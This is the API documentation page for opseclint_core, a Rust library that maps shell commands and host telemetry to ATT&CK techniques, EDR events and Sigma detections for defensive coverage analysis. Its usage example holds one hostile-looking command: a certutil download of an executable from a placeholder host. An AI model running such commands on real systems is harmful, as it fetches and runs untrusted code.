Skip to main content

Crate opseclint_core

Crate opseclint_core 

Source
Expand description

The knowledge base and evaluator behind opseclint, as a library.

Given a command, a script, or a recorded host event, this crate answers three questions: which ATT&CK technique(s) the action implements, what host telemetry it emits, and which detections would fire. It is the substrate opseclint’s binary is built on, published so other tools — a SIEM enrichment step, a notebook, an MCP server, an agent — can build on the same data rather than fork it.

§The shape of an analysis

use opseclint_core::{analyzer, kb, kb::Platform};

let kb = kb::load(Platform::WindowsSysmon)?;
let report = analyzer::analyze("certutil -urlcache -f http://x/a.exe a.exe", &kb);

for finding in &report.findings {
    println!("{} — {}", finding.rule_id, finding.description);
    for t in &finding.techniques {
        println!("  {} {}", t.id, t.name);
    }
    for signal in &finding.telemetry {
        println!("  emits: {signal}");
    }
}

sigma enriches that report from a real SigmaHQ checkout, and telemetry takes the other direction — recorded sensor events in, the same Report out.

§Uncertainty is a value, not an absence

sigma_eval is three-valued on purpose. A command line is not a host event, so a rule keyed on a field the input cannot carry — ParentImage, a hash, a registry value — evaluates to Outcome::Indeterminate, never to “no”. Treat that verdict as its own answer: rounding it to not detected is the one misuse of this crate that turns a careful result into a false claim of stealth. Absence of a finding is not evidence of stealth either — the knowledge base models a bounded set of actions, and kb::load tells you which platform you asked about, not that the platform is fully mapped.

§Feature flags

Re-exports§

pub use kb::KbError;
pub use kb::Platform;
pub use model::Detection;
pub use model::EdrMapping;
pub use model::Finding;
pub use model::KbEntry;
pub use model::KnowledgeBase;
pub use model::Report;
pub use model::Severity;
pub use model::SideEffect;
pub use model::Technique;
pub use parser::Command;
pub use sigma_eval::Outcome;
pub use sigma_eval::Verdict;

Modules§

analyzer
Walks parsed input, resolves each action against the knowledge base, and produces a Report of detection-coverage findings.
edr
EDR telemetry mapping. Each finding’s native host telemetry is classified into an event class (process creation, network connection, file write, module load, …), and each class maps to the concrete sensor event or hunting table the major EDRs surface it as. The class → vendor table is embedded from data/edr-telemetry.json; the classifier is code so new KB entries pick up EDR mappings for free as long as they use the established telemetry vocabulary.
kb
Knowledge-base loading and matching. Each platform’s KB is embedded at compile time so the tool ships as a single self-contained binary.
matcher
The structured matcher. A Matcher is a small, hand-authorable predicate over a parsed Command and its raw line — the single matching schema a knowledge-base entry carries (under its match key). It describes detectability only — “what would a defender see?” — and encodes no evasion semantics.
model
Core data types: the knowledge base schema (deserialized from data/knowledge.json) and the runtime analysis results.
parser
A pragmatic shell-line parser. It is deliberately not a full POSIX shell grammar: it tokenizes with quote awareness, strips comments, splits a line into command segments on the common control operators, and resolves each segment to a program basename plus arguments (stripping wrappers like sudo/env and VAR=value assignments). Good enough to drive static detection-coverage matching; the raw line is always preserved so that substring-based rules (redirections, pipe-to-shell, sensitive paths) still match regardless of tokenization edge cases.
sigma
Optional enrichment from a real SigmaHQ ruleset.
sigma_eval
Sigma rule-logic evaluator.
telemetry
Ingest recorded host telemetry — the events a sensor actually logged — and reduce each to the Commands the analyzer already understands. This is the complement to opseclint’s predictive mode: instead of predicting the telemetry a command would emit, it takes real telemetry and maps it back to techniques, detectability, and coverage, answering “given what the sensor recorded, which techniques does this represent?”